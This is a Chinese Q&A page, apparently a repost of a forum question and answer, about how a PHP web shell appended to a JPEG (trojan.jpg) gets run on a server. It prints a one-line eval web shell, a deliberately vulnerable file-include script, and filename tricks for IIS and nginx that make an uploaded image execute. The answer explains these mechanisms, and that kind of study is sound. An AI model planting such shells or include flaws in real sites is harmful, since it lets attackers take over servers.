如何解决图像末尾的后门代码是如何执行的?
提供 2 个文件:
并将这两个文件放在一起:
F4�5�o�0KsK�vkjf�/2�S�2?>j�h����$�먬*o����Vjߥ�i�^��(G�,�Ь��
a��9��w^5�P��q�4�*��}G����тU4��+<m▒k���2��r��Ӎ�G���!r�UT��������� R��MI�8'�3IR�TQ��x0�"�����|����yFT��j��(▒9��k�R;▒�����7Z�G�ISGS�G=^�P��8����A�/����E�t���P�G�������y�F�!�?�y
-zh��=�"��������6�k�DT�{��)OQO�A7�w]0�����N1���aV�-G����4�~F�~��˞��2OU(�����u?��������H�w
�k��<?PHP @eval($_POST['pass']) ?>
然后将此trojan.jpg
文件上传到某个PHP网站,然后访问其网址,例如http://target.com/uploads/trojan.jpg
然后使用一些脚本/工具,您将连接并获取 webshell。
非常感谢!
解决方法
好吧,经过几个小时的谷歌搜索,我想我知道了一些东西。
-
正常情况下,png/jpg文件不会触发php引擎处理。例如当您打开包含
<img src='a.jpg' />
的页面时。但也有例外。 -
大多数情况下,这种“图像后门”或“隐写术”与“文件包含泄漏”一起使用。
根据this article,要让jpg
引擎处理php
文件,服务器端必须有“文件包含”的泄漏。最简单的“文件包含泄漏”示例如下所示:
<!-- vulnerable_file_include.php -->
<?php
$file = $_GET['file']
include $file;
?>
然后您可以在该 jpg 文件中将“php 代码”作为 php 运行:http://example.com/vulnerable_file_include.php?file=a.jpg
-
根据 this article ,您还可以通过将 jpg 文件重命名为非正常方式(文件名中包含
php
)来做一些技巧,(a) 对于 IIS 5.0/6 ,访问
a.asp;.jpg
将触发a.asp
被执行。(b) 对于 IIS 7.0/7.5,访问
a.php/.jpg
将触发a.php
被执行。(c) 对于 nginx 8.03,访问
a.php%00.jpg
将触发a.php
被执行。 -
很多PHP/ASP网站都会以这种方式显示图片:
<img src="read.php?file=a.jpg" />
(15年前我第一次参与一个项目时,stuff工程师将图片存入数据库,然后读取它以这种方式)。 PHP引擎会读取并解析a.jpg
的源代码,从而执行恶意代码。 -
在某些服务器配置中,静态资源(如jpg、png)应该由nginx或apache处理,但错误地配置为由PHP/ASP引擎处理。 (也许是这种情况,并非 100% 确认。)
另请参考:
https://medium.com/@GaelleTjat/a-webshell-story-59ffd84ef012
https://blog.csdn.net/qq_42311391/article/details/89477993
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。